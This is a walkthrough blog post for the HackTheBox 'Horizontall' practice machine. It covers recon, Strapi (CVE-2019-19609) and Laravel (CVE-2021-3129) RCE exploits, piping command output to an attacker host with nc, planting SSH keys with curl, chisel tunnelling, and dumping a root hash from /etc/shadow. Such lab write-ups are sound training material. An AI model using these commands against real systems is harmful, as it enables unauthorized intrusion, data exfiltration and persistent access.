Preface
It’s been a while since my last post, but with a new year comes new boxes to pwn 😇
To improve my notetaking and make the posts more readable, I’ve also decided to stay away from the usual dot-point format and switch to a paragraph approach, similar to my CTF challenge writeups. This should allow me to explain my thought process a little bit better.
Reconnaissance
Before we do anything, let’s add the target IP and hostname to our hosts
file:
$ sudo nano /etc/hosts
10.10.11.105 horizontall.htb
As usual, we perform a simple port scan to see what kind of services the target is running.
$ nmap -p- 10.10.11.105 > ports.nmap
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.033s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 15.64 seconds
We see that the target has ports 22 and 80 open, let’s get more information about these two services by performing a script scan (-sC) with version detection enabled (-sV):
$ nmap -sC -sV -p 22,80 10.10.11.105 > targeted.nmap
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.92 seconds
The target is running an SSH server on port 22, and a website with Nginx 1.14.0 on port 80. The SSH version appears to be recent, so let’s begin by enumerating the HTTP server.
Enumeration
HTTP Enumeration
Looking at the website on port 80, there doesn’t seem to be anything of interest. All of the buttons lead to dead links, and the contact box at the bottom does not seem to do anything either.
From the nmap scan of the port and the detection result from Wappalyzer (browser extension for detecting website technologies), we see the site is running an old version of Nginx (1.14.0).
With that information in mind, we can try to search for vulnerabilities in that specific version of Nginx. I came across a critical off-by-one heap write vulnerability in the DNS resolver (CVE-2021-23017) that in theory, can lead to remote code execution. Unfortunately, this vulnerability could not be exploited as it requires the attacker to forge UDP packets from the DNS server, which we do not have control over. Seeing as the vulnerability can also cause the worker process to crash (DoS), I realised this was not the intended solution and moved on.
To find out more about the website’s structure, we can use gobuster
to bruteforce the directory listings on the site:
$ gobuster dir -w ~/HTB/Common/directory-list-2.3-medium.txt -u http://horizontall.htb/
===============================================================
/img (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]
/css (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]
/js (Status: 301) [Size: 194] [--> http://horizontall.htb/js/]
Again, nothing interesting. The JavaScript is fairly stock-standard and seems to be from the website template, nothing useful in the CSS either.
After much time wasted in enumerating the website to no avail, I tried bruteforcing for other subdomains:
$ gobuster vhost -w ~/HTB/Common/subdomains-top1million-110000.txt -u http://horizontall.htb/
===============================================================
Found: api-prod.horizontall.htb (Status: 200) [Size: 413]
Great! We found an api-prod
subdomain that could be useful for us. Let’s append it to the hosts
file:
$ sudo nano /etc/hosts
10.10.11.105 horizontall.htb api-prod.horizontall.htb
API Subdomain Enumeration
Visiting the new API subdomain, we see a blank page with only the words “Welcome”:
Repeating the previous enumeration process, let’s bruteforce the directory listings on the API subdomain with gobuster
:
$ gobuster dir -w ~/HTB/Common/directory-list-2.3-medium.txt -u http://api-prod.horizontall.htb/
===============================================================
/reviews (Status: 200) [Size: 507]
/users (Status: 403) [Size: 60]
/admin (Status: 200) [Size: 854]
Browsing the /reviews
path, we can find some very nicely written customer reviews:
Visiting /admin
, we are redirected to a login page for a Strapi CMS dashboard:
Exploitation
Exploiting Strapi with CVE-2019-19609
A quick search for Strapi reveals the software had suffered from an unauthenticated RCE vulnerability in its plugin install component of the admin panel (CVE-2019-19609). The vulnerability is caused by insufficient input sanitisation of plugin names in the Install and Uninstall Plugin components of the admin panel, so attackers can inject arbitrary shell commands to be executed by the execa
function. Exploits for this vulnerability are widely available online, here is one written by Musyoka Ian (EDB-50239).
$ python /usr/share/exploitdb/exploits/multiple/webapps/50239.py http://api-prod.horizontall.htb/
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit
[+] Password reset was successfully
[+] Your email is: [email protected]
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQyMjU4NjU2LCJleHAiOjE2NDQ4NTA2NTZ9.-P7dzFedeHpbuMf_Lm6o3yXbO516Dx6vquvCoRh6x1s
$> _
Using the exploit, we successfully reset the administrator’s credentials as admin:SuperStrongPassword1
, and gained the ability to execute code on the server as indicated by the prompt.
$> id
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
We won’t be able to see any output with the exploit, as it is a blind RCE. Luckily, we can circumvent this limitation by setting up a listener on our attacker machine, then piping the victim output to us with nc
:
$ nc -lvnp 9001
$> id | nc 10.10.14.45 9001
listening on [any] 9001 ...
connect to [10.10.14.45] from (UNKNOWN) [10.10.11.105] 52682
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
Looks like we’re in as the Strapi user.
Gaining SSH access
Still, we can do much better. Let’s grant ourselves SSH access by appending our public key to the user’s authorized_keys
file. To do this, we can first copy our id_rsa.pub
file to a www
directory, and host it such that it can be accessed by the victim as so:
$ cp ~/.ssh/id_rsa.pub .
$ python -m http.server
Then, use curl
on the victim machine to create an authorized_keys
file containing our public key. We also add the --create-dirs
option, just in case the directory doesn’t exist in our user’s folder already:
$> curl --create-dirs -o ~/.ssh/authorized_keys http://10.10.14.45:8000/authorized_keys
We can then simply SSH in as the Strapi user:
$ ssh [email protected]
And we’ve gained a shell. Though, the default /bin/sh
shell isn’t the most interactive shell. We can upgrade it by simply running /bin/bash
on the victim machine:
$ bash
Looking at the /home
directory, we spot a “developer” user. Let’s see if we can read their files:
$ ls -la /home/developer
total 108
drwxr-xr-x 8 developer developer 4096 Aug 2 12:07 .
drwxr-xr-x 3 root root 4096 May 25 2021 ..
lrwxrwxrwx 1 root root 9 Aug 2 12:05 .bash_history -> /dev/null
-rw-r----- 1 developer developer 242 Jun 1 2021 .bash_logout
-rw-r----- 1 developer developer 3810 Jun 1 2021 .bashrc
drwx------ 3 developer developer 4096 May 26 2021 .cache
-rw-rw---- 1 developer developer 58460 May 26 2021 composer-setup.php
drwx------ 5 developer developer 4096 Jun 1 2021 .config
drwx------ 3 developer developer 4096 May 25 2021 .gnupg
drwxrwx--- 3 developer developer 4096 May 25 2021 .local
drwx------ 12 developer developer 4096 May 26 2021 myproject
-rw-r----- 1 developer developer 807 Apr 4 2018 .profile
drwxrwx--- 2 developer developer 4096 Jun 4 2021 .ssh
-r--r--r-- 1 developer developer 33 Jan 15 08:37 user.txt
lrwxrwxrwx 1 root root 9 Aug 2 12:07 .viminfo -> /dev/null
We can read the user flag!
$ cat /home/developer/user.txt
Privilege Escalation
Enumerating for other services
While enumerating for common info on the machine, I found a few more services running that are only accessible from the internal network:
$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 1614/node /usr/bin/
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
We have already discovered ports 22 (SSH), 80 (HTTP) in our external scan. If we make a curl
connection to port 1337 with something like:
$ curl 127.0.0.1:1337
We see that it is running the Strapi CMS that we just exploited. So, this leaves only port 3306 and 8000. We know that port 3306 is usually reserved for MySQL databases, so let’s check out port 8000 first, as it could suggest another web application running on the machine.
Connecting to port 8000 with curl
again, there seem to be a web server running Laravel. We can use chisel
, a fast TCP/UDP tunnel over HTTP, to forward port 8000 on the victim’s machine to our local attacker machine through a reverse tunnel and investigate it further. First, let’s set up a server listening (on a port other than 8000) for the victim’s reverse connection:
$ ./chisel server -p 9001 --reverse
Then, on the victim’s machine, we upload the chisel
binary using scp
as we already have SSH access:
$ scp ./chisel [email protected]:/dev/shm
Finally, to forward the connection locally, we run chisel
in client mode to connect to our server:
$ ./chisel client 10.10.14.45:9001 R:8000:127.0.0.1:8000
Note that as the Laravel site shares the same port as our HTTP server (8000), we will need to shutdown our HTTP server first.
We can then check out the site by visiting 127.0.0.1:8000
in our browser:
Exploiting Laravel with CVE-2021-3129
It seems like the site is running an outdated version of Laravel, and may be vulnerable to RCE if debug mode were to be enabled (CVE-2021-3129). One way of verifying this is by seeing if an error exception causes a suggested “solution” to be generated, which can look something like this:
This vulnerability is well documented and mainly stems from the insecure use of file_get_content()
and file_put_contents()
calls in the Ignition error page module, particularly in its “Solutions” feature that suggests fixes to errors. We can use this exploit written by nth347:
$ ./exploit.py http://127.0.0.1:8000 Monolog/RCE1 "whoami && id"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited
root
uid=0(root) gid=0(root) groups=0(root)
[i] Trying to clear logs
[+] Logs cleared
Looks like this application is running on the machine as root! Let’s gain access by once again copying our SSH public key to the ~/.ssh/authorized_keys
file. We begin by starting up our HTTP server, this time on a different port since 8000 is already taken:
$ cd ./www && python -m http.server 7000
Now, using the same exploit:
$ ./exploit.py http://127.0.0.1:8000 Monolog/RCE1 "curl --create-dirs -o /root/.ssh/authorized_keys http://10.10.14.45:7000/authorized_keys"
We can then simply SSH into the machine as root:
$ ssh [email protected]
Let’s get the root flag!
$ cat root.txt
Persistence
We can get the root user's password hash from /etc/shadow
:
$ cat /etc/shadow
root:$6$rGxQBZV9$SbzCXDzp1MEx7xxXYuV5voXCy4k9OdyCDbyJcWuETBujfMrpfVtTXjbx82bTNlPK6Ayg8SqKMYgVlYukVOKJz1:18836:0:99999:7:::
Let’s clean up after ourselves and delete any residual files:
$ rm /dev/shm/chisel
Resources
- Gobuster usage tutorial - https://erev0s.com/blog/gobuster-directory-dns-and-virtual-hosts-bruteforcing/
- Technical analysis of CVE-2019-19609 - https://bittherapy.net/post/strapi-framework-remote-code-execution/
- Tunneling with Chisel - https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html
- Laravel debug mode RCE (CVE-2021-3129) - https://www.ambionics.io/blog/laravel-debug-rce